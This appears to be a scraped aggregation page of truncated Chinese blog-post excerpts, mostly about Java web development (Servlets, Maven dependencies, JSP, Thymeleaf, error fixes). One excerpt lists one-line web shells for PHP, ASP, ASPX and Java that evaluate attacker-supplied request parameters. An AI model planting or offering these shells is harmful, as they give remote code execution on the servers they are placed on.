在每个web容器中,都会有一个对应的ServletContext对象,它代表着这个web应用。 利用ServletContext对象实现数据的共享,也就是说我们在一个servlet中存放的数据,可以在另外一个servlet中拿到。 1.建立数据存放的类 PutServlet 1 package com.jms.servlet; 2 3 import java.io.I
过滤器 有一些信息不应该被处理,要被过滤的。 1.导包 <dependency> <groupId>javax.servlet.jsp.jstl</groupId> <artifactId>jstl-api</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>t
Thymeleaf:视图模板技术 Thymeleaf是一个供后端人员使用的,为快速开发页面而生的Java模板引擎,能够动态地替换掉静态内容,使页面动态显示。 (模板引擎(用于Web开发)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档
项目常用依赖 [lombok] 插件依赖 <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.16.10</version> <scope>provided</scope> </de
1,php文件中 <?php @eval($_POST[command]);?> 2,asp<%execute(request("1"))%> 3,aspx <%@ Page Language="Jscript"%> 4,java <% new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.get
1.servlet依赖 <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>4.0.1</version> <scope>provided</scope> </dependency>
环境 JDK1.7 + JAVAEE6 Myeclipse10 maven坐标 如果不是用javaee6而是用maven项目的话,需要引入如下坐标。 <dependencies> <!--servlet--> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servle
学习servlet 结果对应网页打不开,报错 HTTP状态 500 - 内部服务器错误 类型 异常报告 消息 类HelloServlet不是Servlet ... 根本原因。 java.lang.ClassCastException: class HelloServlet cannot be cast to class jakarta.servlet.Servlet 根本原因是: Tomcat 9及以前使用的是 j
Servlet执行过程 import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.PrintWriter; public
在JTable刷新UI的时候报错 javax.swing.plaf.basic.BasicTableUI.paintCell 报空指针异常 java.lang.NullPointerException java.lang.NullPointerException at javax.swing.plaf.basic.BasicTableUI.paintCell(BasicTableUI.java:2115) at javax.swing.plaf.basic.Basi
Maven 我的小站 SSM项目需要用Maven来管理依赖,所以我们需要先配置好Maven,Maven配置很容易,我就不演示了。 创建结构 首先,我们新建Maven项目,勾选archetype,选择archetype-webapp模板,然后创建。 这里耐心等待下载完成。 到这一步也许很多小白疑问为什么创建的web项目没有java文件夹
报错如下: java.lang.ClassNotFoundException: javax.mail.internet.MimeMultipart 解决方案: 在pom.xml文件中不仅要引入hutool工具类,还要引入com.sun.mail;代码如下: <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <ver
import javax.script.ScriptEngine; import javax.script.ScriptEngineManager; import javax.script.ScriptException; /** * 数学工具 * * @version 1.0 * @date 2022/6/6 18:01 * @since : JDK 11 */ public class NumUtils { /** * 注意:仅支持评估简单数学逻
3.3.1 EmpController 代码 package com.hy.controller; public class EmpController { public String index() { System.out.println("EmpController...index"); return "forward:/WEB-INF/emp/index.jsp"; } public String
<!-- <servlet>--><!-- <servlet-name>s</servlet-name>--><!-- <servlet-class>com.song.sevrlet1.test1</servlet-class>--><!-- </servlet>--><!-- <servlet-m
javaweb 什么是Servlet Servlet(Server Applet),全称Java Servlet,未有中文译文。是用Java编写的服务器端程序。其主要功能在于交互式地浏览和修改数据,生成动态Web内容。狭义的Servlet是指Java语言实现的一个接口,广义的Servlet是指任何实现了这个Servlet接口的类,一般
我无法在Java 11中使用@PostConstruct和@PostDestroy 我在项目中使用@PostConstruct和@PostDestroy注释时遇到问题。我不能使用这些注释,尽管我导入了Java的注释,但这些注释似乎并不存在请注意, @PostConstruct和@PreDestroy注释都是Java EE的一部分。而且由于Java EE在Java9中已被弃
Ajax的跨域请求 跨域获取用户写入数据 <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title></title> <script src="http://localhost:8060/JSON_war_exploded/jquery.min.js"></script> <sc
1 package com.gxl.servlet; 2 3 import java.io.IOException; 4 5 import javax.servlet.ServletException; 6 import javax.servlet.annotation.WebServlet; 7 import javax.servlet.http.HttpServlet; 8 import javax.servlet.http.HttpServletRequest; 9 impor
package com.dmk.servlet; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSe
九大内置对象 JSP隐式对象是JSP容器为每个页面提供的Java对象,开发者可以直接使用它们而不用显式声明。JSP隐式对象也被称为预定义变量。 对象 描述 request HttpServletRequest 接口的实例 response HttpServletResponse 接口的实例 out JspWriter类的实例,用于把结果输
上代码: <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.7</maven.compiler.source> <maven.compiler.target>1.7</maven.compiler.target> </properties
******html代码******<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>测试</title> <script src="lib/jquery-3.6.0.js"></script></head><body>
JSP 原理 JSP 到底怎么执行的? 代码层面没有任何问题 服务器内部工作 tomcat中有一个work目录; IDEA中使用 Tomcat 时会在 IDEA 的 tomcat 中生产一个 work 目录 发现页面转变成了Java程序 浏览器向服务器发送请求,不管访问什么资源,其实都是在访问 Servlet JSP 最终也会被转换
package doservlet; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServle